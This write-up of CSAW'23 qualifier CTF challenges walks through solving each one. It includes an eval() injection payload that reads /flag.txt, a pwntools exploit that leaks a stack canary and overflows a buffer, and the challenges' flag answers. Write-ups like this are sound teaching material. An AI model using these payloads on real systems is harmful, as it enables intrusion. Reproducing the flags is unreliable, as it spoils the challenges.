CSAW’23 qualifiers took place from September 15th to September 17th this year. The challenges from the qualifier can be found here.
Intro
my_first_pwnie
This challenge was ment to be a intro to the pwn category, with the goal of achieving RCE.
1
2
3
4
5
6
7
8
9
try:
response = eval(input("What's the password? "))
print(f"You entered `{response}`")
if response == "password":
print("Yay! Correct! Congrats!")
quit()
except:
pass
print("Nay, that's not it.")
The python code running on the server passes our input directly into eval()
, which lets us get RCE by importing the os
module and running calling the system
function to cat the flag for us.
1
2
3
4
5
$ nc intro.csaw.io 31137
What's the password? __import__('os').system('cat /flag.txt')
csawctf{neigh______}
You entered `0`
Nay, that's not it.
Baby’s First
This challenge was ment as an intro to the rev category, with the goal of learning new players what this category is, and to get to know some python code.
1
2
3
4
if input("What's the password? ") == "csawctf{w3_411_star7_5om3wher3}":
print("Correct! Congrats! It gets much harder from here.")
else:
print("Trying reading the code...")
We can see the flag located in the source code.
target_practice
We get a binary for this challenge, which when opened in IDA shows that we can pass an address to the program, and the program will then call what is at that address.
There is a cat_flag
function at address 0x400717
, which we will make the program execute.
1
2
3
$ nc intro.csaw.io 31138
Aim carefully.... 400717
csawctf{y0ure_a_m4s7er4im3r}
Baby’s Third
Reversing the binary reveals the flag
Alternatively we can run strings
on the binary to get the flag
1
2
$ strings babysthird | grep csawctf
csawctf{st1ng_th30ry_a1nt_so_h4rd}
puffin
Another binary means more reversing.
The program reads 48 bytes into a 44 byte buffer, giving us a 4 byte overflow. We also see that the variable v5
is set to 0, and if it is not 0 we will get the flag. By overflowing the input buffer, which is located on the stack together with v5
, we will overflow into v5
, letting us change its value to be something else than 0.
We can send 45 characters as input to change the value of v5
(anything 45 or higher would work).
1
2
3
$ nc intro.csaw.io 31140
The penguins are watching: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}
whataxor
Reversing the binary shows that our supplied input is passed to a function xor_transform
before inside that function being xored with the key 0xffffffaa
.
The result from the xor operations is then compared against a buffer with some pre-defined values. This is sort of a password checker, so to find the password we can xor the encrypted password already located inside the binary with the xor key to get the plaintext. The key is -86
in decimal, and when xored with the encrypted password it reveals the flag.
1
2
3
s2 =[-55,-39,-53,-35,-55,-34,-52,-47,-102,-60,-49,-11,-39,-62,-49,-49,-6,-11,-101,-35,-59,-11,-39,-62,-49,-3,-38,-11,-104,-62,-40,-49,-49,-11,-97,-62,-49,-49,-63,-39,-11,-11,-11,-11,-11,-48,-11,-11,-11,-48,-48,-48,-11,-11,-11,-11,-11,-48,-48,-48,-48,-48,-48,-11,-11,-11,-11,-46,-59,-40,-41]
for x in s2:
print(chr(x ^ -86), end='')
1
2
$ python3 decrypt.py
csawctf{0ne_sheeP_1wo_sheWp_2hree_5heeks_____z___zzz_____zzzzzz____xor}
Pwn
unlimited_subway
The 32-bit binary have canaries enabled, together with NX, but no PIE.
1
2
3
4
5
6
$ pwn checksec ./unlimited_subway
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
The program is some account-menu system, and when exiting we are asked to give a name and its length
1
2
3
4
5
6
7
8
9
10
11
12
$ ./unlimited_subway
=====================================
= =
= Subway Account System =
= =
=====================================
[F]ill account info
[V]iew account info
[E]xit
> E
Name Size : 20
Name : a
When reversing the binary we see the following code in main
. There is also a print_flag
function in the binary which isn’t being called by any other function.
The view_account
function consists of only a single printf call
1
2
3
void __cdecl view_account(unsigned __int8 *account, int idx) {
printf("Index %d : %02x\n", idx, account[idx]);
}
We can see that the option F
reads in 64 bytes into a 64-byte buffer, which doesn’t really help us much in this case. However, option V
could be helpful, as the index we give it is passed to view_account
, which printf’s our given index from the account
array. There is no checking on our input, so we can pass a very large integer, or a negative integer to read contents from the stack.
If we look at what is happening if we choose the E
option, we can see that the name-length we specify is the amount of bytes the next read
call will read in.
1
2
3
4
printf("Name Size : ");
__isoc99_scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
However, due to the name
buffer only being 64-bytes in size, if we pass a longer input we have a buffer overflow.
We can combine the two vulnerabilities we have by passing negative integers to the view_account
function to read the canary located on the stack, and then use the buffer overflow from the Exit
option of the menu to call the print_flag
function.
There are multiple viable ways to find the canary, I chose the fuzzing method which uses a python-script to print 4-byte aligned addresses on the negative indexes. When running the fuzzer, and attaching gdb to find the canary value, we got the negative offsets which gives us the value of the canary.
This is the fuzzing-program
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Capture single-byte leaks
leaks = []
for i in range(-1, -282, -1):
print(f"--------{i}--------")
io.recvuntil(b"> ")
io.sendline(b"V")
io.recvuntil(b": ")
io.sendline(f"{i}".encode())
io.recvuntil(b": ")
leak = io.recvline().strip()
leaks.append(leak)
# Join the bytes to 4-byte addresses
leaks = [leaks[i:i+4] for i in range(0, len(leaks), 4)]
for idx, leak in enumerate(leaks):
idx = (idx*4)+1
print(f"-{idx} -> ".encode() + b"".join(leak))
io.interactive()
and this is after gdb has been attached
We can see that offset -89, -90, -91 and -92 is the 4-byte canary value (and some other offsets as well).
Now that we have the canary we can perform the buffer-overflow to call the print_flag
function. Finding the offset to where the canary is located on the stack can be done multiple ways. Either by trying different-length input until we see the program crash with stack-smashing detected
, or by setting a breakpoint with gdb at main+516
.
At main+516
is the instruction 0x0804951b <+516>: sub edx,DWORD PTR gs:0x14
in this program, which subtracts what is in the edx
register with the canary value. If the reults is 0
they are equal, if not the program will detect the stack smashing. However, this also means that when we hit this breakpoint the register edx
will contain what is supposed to be the canary value from the stack, but since we have overflowed the input-buffer we have overwritten this value. Therefore, edx
contains our cyclic pattern value qaaa
instead of the canary value, so we know from the pattern that the offset to the canary is 64.
Knowing the offset to the canary we also know that the return address will be located 8 bytes after (with the canary itself being the first 4 bytes, and then 4 bytes which is for the ebp
register), at offset 72. We can then construct the buffer-overflow payload and get the flag.
Using the pwntools template (generated with the pwn template
command), our exploit script becomes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
io = start()
def get_canary():
"""
Get the value of the canary by
reading different negative offsets
"""
canary = b""
for i in range(-89, -93, -1):
io.recvuntil(b"> ")
io.sendline(b"V")
io.recvuntil(b": ")
io.sendline(f"{i}".encode())
io.recvuntil(b": ")
canary += io.recvline().strip()
return int(canary.decode(),16)
canary_offset = 64
canary = get_canary()
log.success(f"Canary: {hex(canary)}")
io.recvuntil(b"> ")
io.sendline(b"E")
io.recvuntil(b": ")
io.sendline(b"100")
io.recvuntil(b": ")
payload = b"A"*canary_offset + pack(canary) + b"A"*4 + pack(exe.sym.print_flag)
io.sendline(payload)
io.interactive()
Running the script gives us the flag.
1
2
3
4
5
$ ./exploit.py
[+] Opening connection to pwn.csaw.io on port 7900: Done
[+] Canary: 0xbb0f2b00
[*] Switching to interactive mode
csawctf{my_n4m3_15_079_4nd_1m_601n6_70_h0p_7h3_7urn571l3}
Rev
Rebug 1
When running the binary we get the following.
1
2
3
$ ./test.out
Enter the String: asdasd
that isn't correct, im sorry!
We reverse the given binary to find the following main function.
What this program does is essentially just checking if the length of our input is 12, and if it is 12 it creates a md5 hash of the string 12
, which is the flag.
1
2
3
4
$ ./test.out
Enter the String: aaaaaaaaaaaa
that's correct!
csaw{c20ad4d76fe97759aa27a0c99bff6710}
Forensics
1black0white
We are given a text file with some numbers in it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
533258111
274428993
391005533
391777629
390435677
273999169
534074751
99072
528317354
446173689
485174588
490627992
105525542
421383123
132446300
431853817
534345998
496243321
365115424
302404521
289808374
1437979
534308692
272742168
391735804
391385911
391848254
273838450
From the challenge text we know that this should represent a qr code, and from the challenge name we can assume that a 1 equals a black pixel, and a 0 equals a white pixel.
To convert these numbers to 0’s and 1’s we can convert them to binary form, and then pad all the numbers to be of equal length (the length of everyone is determined by the longest binary number). Having the binary form of the numbers we can go pixel by pixel through the image and color the pixels black if its a 1, and white if its a 0. Each number represents one row of pixels in the image.
The following script creates the qr-code for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
with open("qr_code.txt", "r") as f:
data = f.readlines()
# Remove newlines and convert to int
for idx, x in enumerate(data):
data[idx] = int(x.strip())
# Find the size of the image
max_len = 0
for x in data:
max_len = max(max_len, len(bin(x)[2:]))
# Pad the values
for idx, x in enumerate(data):
data[idx] = bin(x)[2:].zfill(max_len)
# Create a white square image
from PIL import Image
img = Image.new('RGB', (max_len, max_len), color = 'white')
pixels = img.load()
# Color the pixels black where the data is 1
for i in range(29):
for j in range(29):
if data[i][j] == '1':
pixels[j, i] = (0, 0, 0)
img.save('qr_code.png')
This creates a qr-code for us
Scanning the code reveals the flag.
1
csawctf{1_d1dnt_kn0w_th1s_w0uld_w0rk}
Misc
AndroidDropper
We are given an apk
file, which is an android application, together with an endpoint. We are probably supposed to reverse the apk
, but since this challenge is in the misc
category and not the rev
category there must be a reason for that.
Upon visiting the endpoint for the challenge we get a blank page with some base64-encoded text
1
bEVYCkNEWV5LRElPBgpFRApeQk8KWkZLRE9eCm9LWF5CBgpHS0QKQktOCktGXUtTWQpLWVlfR09OCl5CS14KQk8KXUtZCkdFWE8KQ0ReT0ZGQ01PRF4KXkJLRApORUZaQkNEWQpIT0lLX1lPCkJPCkJLTgpLSUJDT1xPTgpZRQpHX0lCCgcKXkJPCl1CT09GBgpkT10Kc0VYQQYKXUtYWQpLRE4KWUUKRUQKBwpdQkNGWV4KS0ZGCl5CTwpORUZaQkNEWQpCS04KT1xPWApORURPCl1LWQpHX0lBCktIRV9eCkNECl5CTwpdS15PWApCS1xDRE0KSwpNRUVOCl5DR08ECmhfXgpJRURcT1hZT0ZTBgpJWUtdSV5MUU5TRB5HG0l1RkUeTk94WXVYdUxfZAtXIF5CTwpORUZaQkNEWQpCS04KS0ZdS1NZCkhPRkNPXE9OCl5CS14KXkJPUwpdT1hPCkxLWApHRVhPCkNEXk9GRkNNT0ReCl5CS0QKR0tECgcKTEVYClpYT0lDWU9GUwpeQk8KWUtHTwpYT0tZRURZBA==
I decoded the base64 with Cyberchef, and while the output from the base64-output did not make any sense, cyberchef recommended applying xor
with the key 0x2a
.
That gave the output
1
2
For instance, on the planet Earth, man had always assumed that he was more intelligent than dolphins because he had achieved so much - the wheel, New York, wars and so on - whilst all the dolphins had ever done was muck about in the water having a good time. But conversely, csawctf{dyn4m1c_lo4deRs_r_fuN!}
the dolphins had always believed that they were far more intelligent than man - for precisely the same reasons.
Which contained the flag csawctf{dyn4m1c_lo4deRs_r_fuN!}
.